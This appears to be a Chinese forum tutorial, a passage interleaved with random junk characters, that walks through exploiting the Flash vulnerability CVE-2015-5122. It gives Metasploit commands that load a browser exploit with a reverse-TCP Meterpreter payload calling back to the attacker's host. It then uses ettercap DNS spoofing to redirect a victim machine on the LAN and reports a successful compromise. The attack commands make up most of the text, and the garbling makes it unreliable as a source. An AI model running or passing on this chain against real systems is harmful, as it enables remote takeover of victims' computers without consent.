|
4 ~+ h& W' s' q; @$ P$ y) R 二、cve2015-5122漏洞实例演示虚拟机
* R5 ~( b. x" q% ~. J % A- [1 C& D5 u( O4 m
, B' t) G" j2 @% c& Q% ]2 f* R: U 关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015年flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图: . A) n% ]( f8 b) P% u/ C9 m; S) w* _
% c$ w. S B1 I1 w# i
9 S% l* g1 N+ v3 P search cve-2015-5122如图: # h/ n+ n2 ]* v- z4 |" _
# m2 J" Q! l4 p* w/ U3 i/ }
2 O9 U$ H: q, i5 t5 N
) A: F# t# D. M' ~/ h1 V4 @
6 @% w3 L0 W3 @. f6 `" V
5 ?( n; K0 F" \( q4 `. \6 [ 下面我们敲如下命令:
0 b4 d1 E1 J% {0 q! M/ i : @, W1 M$ k, n+ e; j
( H* V% N- b& y# w
use exploit/multi/browser/adobe_flash_opaque_background_uaf
" Z# E" ]# e: z+ [$ ^+ w1 |0 }3 i . p6 S6 d7 G' L
, c) Q+ V) y8 j! i set PAYLOAD windows/meterpreter/reverse_tcp
- p3 J3 G- ?- a1 g% w4 M; Y/ B
* t4 A3 q. c. ^
# D+ t+ |& l) p set LHOST 192.168.0.109 2 G1 S# W3 J2 ?8 B
t) n3 J% D4 Z! r1 q% ~0 C; M( ?
1 ~' A1 p# P6 E( k set URIPATH / /*根目录*/
. z- ^6 m4 P+ ^; Q5 r4 b 0 O9 }9 v- }# A8 Q, [2 ?, o
0 s. P9 A" H' z9 q% \# K
set SRVHOST 192.168.0.109 //192.168.0.109为kaili ip地址
' i y. ?' O& b. ? % D/ M6 x1 `) x+ s. A
5 V' y+ |# k7 I+ F+ u7 d4 x1 [% H1 d
set SRVPORT 80 /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用
. Z [0 k2 B! h K9 B 3 ^ d5 v P$ Z% A% k2 c# A
; G( [, |# H: V/ r
然后show options如图: & U! B+ i4 E. p" A y
3 i8 X2 U" Y, r
5 x% j1 r, Y! X3 h r6 }
6 |& a- I7 X) A, C # }7 W* U' l( E% c
( q1 m4 n2 B8 B; L: k: I
一切都设置好了,执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图:
5 U7 ] ^6 p5 h b1 _
8 V; [" z0 i4 L( D: Y5 O4 O
. t% r" A. H9 S$ z/ V2 U: H. V9 g$ n ^9 C7 d
然后ettercap -G命令打开ettercap,我们要攻击的主机ip是192.168.0。115 6 K4 K5 r' y, G1 R' m5 Q! c$ Z
4 M; a, K& o! v7 r6 Q# g0 x, B2 w% `- H2 v& o3 ^
Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf
+ D( v, H; b- I9 q& z8 s * g% G* J, e# W: g Q
. Q* A' U) ]. y/ V3 V8 g0 M; r; z . I5 U+ ^+ K! F8 ^6 r$ B
" n; F7 z6 L8 s/ r( s) K
' S3 ?; ~6 C* s/ | 成功了,这时候我们断开ettercap,如图:
& {: o7 y7 e1 w1 k" t/ ]& S/ p
, A* t( @ }& M9 k
, D3 ~* E7 c* L8 m: i' y+ w # Q% G2 B" a; ~* p: k4 s/ X
5 J. h! Q+ y$ u& {- }" ^
, N" q2 a1 g* T* I1 X
Screenshot如图: " Z7 T( }7 d: V( A. A' o
4 H# e- B& L8 x& c7 @9 E% @+ b; O
# b6 }" H' O' W8 y' ~
6 v7 G" i. m3 c4 y6 J. l ! V& p# ^( X$ y2 O6 J% x
7 |1 N9 V: I+ t6 P9 b7 E$ b! I
1 _) C. G9 X x: I N T% y& _" W
|